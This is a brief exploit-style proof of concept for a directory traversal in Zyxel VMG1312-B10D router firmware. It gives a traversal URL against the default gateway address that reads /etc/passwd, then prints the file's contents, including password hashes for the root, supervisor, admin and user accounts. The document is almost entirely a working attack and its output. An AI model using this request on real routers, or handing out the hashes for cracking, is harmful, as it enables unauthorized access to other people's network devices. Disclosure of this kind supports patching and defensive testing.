Zyxel VMG1312-B10D 5.13AAXA.8 Directory Traversal

`# Exploit Title: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal  
# Date: 2018-11-17  
# Exploit Author: numan tA1/4rle  
# Vendor Homepage: https://www.zyxel.com/  
# Software Link: https://www.zyxel.com/products_services/Wireless-N-VDSL2-4-port-Gateway-with-USB-VMG1312-B10D/  
# Tested on: macOS  
# Fixed firmware: 5.13(AAXA.8)C0  
  
# PoC  
@modem_gateway = "192.168.1.1" // default address  
  
http://@modem_gateway/../../../../../../../../../../../../etc/passwd  
  
here are the contents :  
  
############################## contents ##############################  
nobody:x:99:99:nobody:/nonexistent:/bin/false  
root:zKtrESdI2DPME:0:0:root:/home/root:/bin/sh  
supervisor:.t7H3bCRtJ6UY:12:12:supervisor:/home/supervisor:/bin/sh  
admin:avHcRxJLoXvas:21:21:admin:/home/admin:/bin/sh  
user:AebeEcyKDnOzI:31:31:user:/home/user:/bin/sh  
  
  
`